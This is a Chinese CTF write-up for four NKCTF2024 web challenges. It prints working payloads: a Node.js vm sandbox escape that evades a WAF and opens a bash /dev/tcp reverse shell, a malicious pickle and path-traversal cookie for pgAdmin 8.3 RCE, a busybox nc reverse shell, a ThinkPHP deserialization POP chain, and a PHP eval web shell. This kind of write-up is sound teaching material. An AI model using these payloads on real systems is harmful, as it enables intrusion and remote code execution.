NKCTF2024 WP WEB
my first cms
CVE-2024-27622:https://github.com/capture0x/CMSMadeSimple/
后台弱口令Admin/Admin123(你确定这是弱口令😡),进去打就行

全世界最简单的CTF
Nodejs沙箱逃逸,sandbox为null的情况,参考:vm沙箱逃逸的一些其他情况
function waf(code) {
let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
if(code.match(pattern)){
throw new Error("what can I say? hacker out!!");
}
}
app.post('/', function (req, res){
let code = req.body.code;
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);
try {
waf(code)
let result = vm.runInContext(code, context);
console.log(result);
} catch (e){
console.log(e.message);
require('./hack');
}
})
process、child_process使用url编码绕过,execSync方法通过Reflect.get获取。直接反弹shell
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const bb = decodeURIComponent('%72%65%74%75%72%6e%20%70%72%6f%63%65%73%73');
const cp = decodeURIComponent('%63%68%69%6c%64%5f%70%72%6f%63%65%73%73');
const es = decodeURIComponent('%65%78%65%63%53%79%6e%63');
const p = (cc.constructor.constructor(bb))();
const childProcess = p.mainModule.require(cp);
const e = Reflect.get(childProcess, es);
return e('bash -c "bash -i >& /dev/tcp/ip/9898 0>&1"').toString();
}
})
get flag

attack
pgAdmin8.3 RCE 参考:pgAdmin (<=8.3) Path Traversal in Session Handling Leads to Unsafe Deserialization and Remote Code Execution (RCE)
原理比较简单,在处理pga4_session(格式为<sid>!<digest>)的时候,程序会将sid所指的文件读取并使用pickle反序列化。这道题给了登录用户tacooooo@qq.com/tacooooo,Storage Manager上传为位置为../storage/tacooooo_qq.com/。题目没有bash和curl,通过本地对漏洞的复现知道了Storage Manager上传的绝对路径可能为/var/lib/pgadmin/storage/tacooooo_qq.com/,那就可以把命令执行的结果写到这个目录下,然后下载。
解题流程如下:
- 使用脚本生成
skky.pkl
import struct
def produce_pickle_bytes(platform, cmd):
b = b'\x80\x04\x95'
b += struct.pack('L', 22 + len(platform) + len(cmd))
b += b'\x8c' + struct.pack('b', len(platform)) + platform.encode()
b += b'\x94\x8c\x06system\x94\x93\x94'
b += b'\x8c' + struct.pack('b', len(cmd)) + cmd.encode()
b += b'\x94\x85\x94R\x94.'
print(b)
return b
cmd = "ls / >> /var/lib/pgadmin/storage/tacooooo_qq.com/result"
content = produce_pickle_bytes('posix', f"{cmd}")
with open('skky.pkl', 'wb') as f:
f.write(content)
- 登录用户选择Tools > Storage Manager上传pkl

- 构造
Cookie: pga4_session=../storage/tacooooo_qq.com/skky.pkl!a访问触发反序列化

- 下载result查看执行结果

执行ls -la /bin/sh发现有busybox
lrwxrwxrwx 1 root root 12 Jan 26 17:53 /bin/sh -> /bin/busybox
可以用busybox提供的nc弹一个sh的shell
/bin/busybox nc xxxxxx 9999 -e /bin/sh
最后在/run.sh进程的环境变量中找到flag cat /proc/1/environ

用过就是熟悉
打开源码,找到提示文件app/controller/user/think/hinthinthinthinthinthinthint.php。全局搜索文件名称hinthinthinthinthinthinthint.php,在app/controller/user/think/Testone.php中有将hinthinthinthinthinthinthint.php的$content写入的功能
<?php
namespace think;
header('Content-Type: text/html; charset=UTF-8');
abstract class Testone
{
//The end of the unserialize.
public function countTxtFiles($directory) {
$txtFiles = glob($directory . '/*.txt');
foreach ($txtFiles as $txtFile) {
if (is_file($txtFile)) {
unlink($txtFile);
}
}
}
public function __call($name, $arguments)
{
$a = time();
if ($arguments[0]['time']==='10086'){
$this->countTxtFiles("./app/controller/user/think/");
include('./app/controller/user/think/hinthinthinthinthinthinthint.php');
file_put_contents('./app/controller/user/think/'.md5($a),$content);
}
}
}
同时,处理登录处存在反序列化

POP链构造不是很复杂,需要注意的就是namespace和Testone的实现类
windows::__destruct -> removeFiles() -> collection::__toString -> view::__get -> Debug::__call
POP构造如下:
<?php
namespace think\process\pipes;
use think\Collection;
class Windows {
public function __construct()
{
$this->fileHandles = [];
$this->files = [new Collection()];
}
}
namespace think;
class Collection{
public function __construct()
{
$this->items = new View();
}
}
namespace think;
class View{
public function __construct()
{
$this->data = array("Loginout" => new Debug());
$this->engine = array("time" =>"10086");
}
}
namespace think;
class Debug {
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
// TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoyOntzOjExOiJmaWxlSGFuZGxlcyI7YTowOnt9czo1OiJmaWxlcyI7YToxOntpOjA7TzoxNjoidGhpbmtcQ29sbGVjdGlvbiI6MTp7czo1OiJpdGVtcyI7TzoxMDoidGhpbmtcVmlldyI6Mjp7czo0OiJkYXRhIjthOjE6e3M6ODoiTG9naW5vdXQiO086MTE6InRoaW5rXERlYnVnIjowOnt9fXM6NjoiZW5naW5lIjthOjE6e3M6NDoidGltZSI7czo1OiIxMDA4NiI7fX19fX0=
使用guest登录

Testone写的文件名称为md5(time()),返回的timeNow记录了处理登录的时间戳。因为time()返回时间是秒级的,而这两个操作的时间间隔不到秒级,所以可以用登录的timeNow来计算文件名称。
echo md5("1711282943"); // d1ff1f67b68695a5fb4521be6aa8cd3f
访问/app/controller/user/think/1711283010d1ff1f67b68695a5fb4521be6aa8cd3f拿到hint,内容大致如下:
......
<<<<<<<<我曾听说,密码的明文,加上心爱之人的名字(Chu0),就能够听到游客的心声。>>>>>>>>
......
POST /?user/index/loginSubmit HTTP/1.1
Host: 192.168.128.2
Content-Length: 162
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.128.2
Referer: http://192.168.128.2/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: kodUserLanguage=zh-CN; CSRF_TOKEN=xxx
Connection: close
name=guest&password=tQhWfe944VjGY7Xh5NED6ZkGisXZ6eAeeiDWVETdF-hmuV9YJQr25bphgzthFCf1hRiPQvaI&rememberPassword=0&salt=1&CSRF_TOKEN=xxx&API_ROUTE=user%2Findex%2FloginSubmit
hint: 新建文件
这里会发现前段提交的 password 会被 js 编码一次,而后端在校验前会对其进行解码

直接复制解码代码得到明文,同时根据提示得到密码:!@!@!@!@NKCTFChu0。登录guest账户,回收站中的新建文件.html应该就是前面hint所指的

其中给出了shell文件/data/files/shell
/var/www/html/data/files/shell
<?php eval($_POST['0']); ?>
虽然这里可以文件上传,但显然是传不了shell的(难不成让你挖0day?)。结合提示的内容往文件包含的思路想。全局搜索include(,不难找到在app/controller/user/think/Config.php存在反序列化利用点,和开始一样在一个__call中

修改之前POP链的部分
namespace think;
class View{
public function __construct()
{
$this->data = array("Loginout" => new Config());
$this->engine = array("name" =>"./../../../../../../var/www/html/data/files/shell");
}
}
namespace think;
class Config{}
弹shell

getflag
